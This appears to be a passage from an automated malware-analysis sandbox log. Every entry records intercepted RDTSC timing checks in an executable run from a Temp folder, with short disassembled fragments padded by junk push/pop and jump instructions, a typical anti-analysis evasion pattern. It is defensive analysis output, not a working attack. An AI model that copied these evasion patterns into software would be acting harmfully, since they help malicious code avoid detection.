Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB3B1D second address: 0000000000EB3B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FEBE0B1C456h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEBE0B1C460h 0x00000013 jmp 00007FEBE0B1C464h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB3B4F second address: 0000000000EB3B7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC7h 0x00000007 pushad 0x00000008 jmp 00007FEBE0E5FDC3h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB3B7E second address: 0000000000EB3B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB3CED second address: 0000000000EB3CFA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB3CFA second address: 0000000000EB3CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB3CFE second address: 0000000000EB3D20 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEBE0E5FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEBE0E5FDC6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB3FF9 second address: 0000000000EB402D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnl 00007FEBE0B1C46Dh 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FEBE0B1C45Ah 0x00000012 jnp 00007FEBE0B1C456h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB402D second address: 0000000000EB4056 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FEBE0E5FDC2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FEBE0E5FDBBh 0x00000013 push edi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB4056 second address: 0000000000EB405B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB405B second address: 0000000000EB4067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 ja 00007FEBE0E5FDB6h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5EDD3 second address: 0000000000E5EDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5EDD8 second address: 0000000000E5EDED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jno 00007FEBE0E5FDB6h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E5EDED second address: 0000000000E5EE3D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEBE0B1C458h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b jp 00007FEBE0B1C462h 0x00000011 jbe 00007FEBE0B1C45Ch 0x00000017 jp 00007FEBE0B1C456h 0x0000001d push 00000004h 0x0000001f or dx, 7E36h 0x00000024 nop 0x00000025 jmp 00007FEBE0B1C467h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FEBE0B1C45Fh 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB9CF5 second address: 0000000000EB9CFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB9CFD second address: 0000000000EB9D18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FEBE0B1C456h 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB9D18 second address: 0000000000EB9D2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB8E67 second address: 0000000000EB8E89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 jmp 00007FEBE0B1C465h 0x0000000b pop ecx 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB8E89 second address: 0000000000EB8E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB8E8F second address: 0000000000EB8E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jc 00007FEBE0B1C458h 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB91C2 second address: 0000000000EB91DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0E5FDBEh 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007FEBE0E5FDB6h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB91DD second address: 0000000000EB9218 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C464h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop edi 0x0000000f jmp 00007FEBE0B1C469h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB9386 second address: 0000000000EB939A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBE0E5FDB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FEBE0E5FDB6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB9533 second address: 0000000000EB9537 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB96E4 second address: 0000000000EB96E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB985A second address: 0000000000EB986E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEBE0B1C45Fh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EB986E second address: 0000000000EB9881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FEBE0E5FDB6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EBDB90 second address: 0000000000EBDB94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E14201 second address: 0000000000E14205 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E14205 second address: 0000000000E14209 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E14209 second address: 0000000000E14229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FEBE0E5FDB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FEBE0E5FDBAh 0x00000012 pop edi 0x00000013 jl 00007FEBE0E5FDBCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EBD2DD second address: 0000000000EBD2E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EBD2E6 second address: 0000000000EBD312 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEBE0E5FDC6h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EBD5B6 second address: 0000000000EBD5D4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b jmp 00007FEBE0B1C462h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EBD5D4 second address: 0000000000EBD5F6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEBE0E5FDBEh 0x00000008 jbe 00007FEBE0E5FDB6h 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007FEBE0E5FDB6h 0x00000018 jmp 00007FEBE0E5FDBAh 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EBD8B1 second address: 0000000000EBD8C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FEBE0B1C456h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC51CA second address: 0000000000EC51D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC51D0 second address: 0000000000EC51E6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEBE0B1C456h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jbe 00007FEBE0B1C456h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC51E6 second address: 0000000000EC51EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC30F1 second address: 0000000000EC30FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FEBE0B1C456h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC3402 second address: 0000000000EC3412 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jnp 00007FEBE0E5FDB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC3412 second address: 0000000000EC3424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0B1C45Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC3424 second address: 0000000000EC3450 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBFh 0x00000007 jmp 00007FEBE0E5FDC6h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC3724 second address: 0000000000EC373C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FEBE0B1C460h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC45FF second address: 0000000000EC4604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC4604 second address: 0000000000EC4610 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC9B53 second address: 0000000000EC9B57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC9B57 second address: 0000000000EC9B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FEBE0B1C45Ah 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EC9B6B second address: 0000000000EC9B7B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEBE0E5FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECCE1C second address: 0000000000ECCE48 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEBE0B1C460h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jc 00007FEBE0B1C45Eh 0x00000016 jng 00007FEBE0B1C456h 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECD0F2 second address: 0000000000ECD0F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECD24F second address: 0000000000ECD255 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECD4A6 second address: 0000000000ECD4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 js 00007FEBE0E5FDB6h 0x0000000c jmp 00007FEBE0E5FDBEh 0x00000011 popad 0x00000012 jmp 00007FEBE0E5FDC0h 0x00000017 popad 0x00000018 jc 00007FEBE0E5FDC4h 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECD4DB second address: 0000000000ECD4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECD5E5 second address: 0000000000ECD5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECD5EB second address: 0000000000ECD5F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECD5F5 second address: 0000000000ECD600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FEBE0E5FDB6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECD74B second address: 0000000000ECD763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 jp 00007FEBE0B1C458h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 jns 00007FEBE0B1C456h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ECD763 second address: 0000000000ECD777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FEBE0E5FDB6h 0x0000000a popad 0x0000000b pushad 0x0000000c jnl 00007FEBE0E5FDB6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED3A5A second address: 0000000000ED3A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED3A60 second address: 0000000000ED3A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED3A64 second address: 0000000000ED3A73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007FEBE0B1C456h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED4009 second address: 0000000000ED4012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push esi 0x00000007 pop esi 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED4012 second address: 0000000000ED404E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push edx 0x00000006 pop edx 0x00000007 jmp 00007FEBE0B1C465h 0x0000000c push esi 0x0000000d pop esi 0x0000000e popad 0x0000000f jmp 00007FEBE0B1C466h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push esi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED404E second address: 0000000000ED4058 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FEBE0E5FDB6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED443B second address: 0000000000ED4449 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED4449 second address: 0000000000ED4457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FEBE0E5FDB6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED4457 second address: 0000000000ED4472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FEBE0B1C45Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FEBE0B1C456h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED4472 second address: 0000000000ED4476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED4476 second address: 0000000000ED447C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000DFB848 second address: 0000000000DFB84C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED361F second address: 0000000000ED3623 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000ED3623 second address: 0000000000ED362B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EDAFD4 second address: 0000000000EDAFE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EDAFE2 second address: 0000000000EDAFEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EDAFEA second address: 0000000000EDAFF7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EDAFF7 second address: 0000000000EDB022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0E5FDC8h 0x00000009 jmp 00007FEBE0E5FDBDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EDB022 second address: 0000000000EDB03A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEBE0B1C461h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EDB03A second address: 0000000000EDB040 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EDDF6D second address: 0000000000EDDF71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EDDF71 second address: 0000000000EDDF7D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEBE0E5FDBEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EE8C6E second address: 0000000000EE8C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0B1C467h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EE8C89 second address: 0000000000EE8C91 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EE8E00 second address: 0000000000EE8E04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000EE91FC second address: 0000000000EE9202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
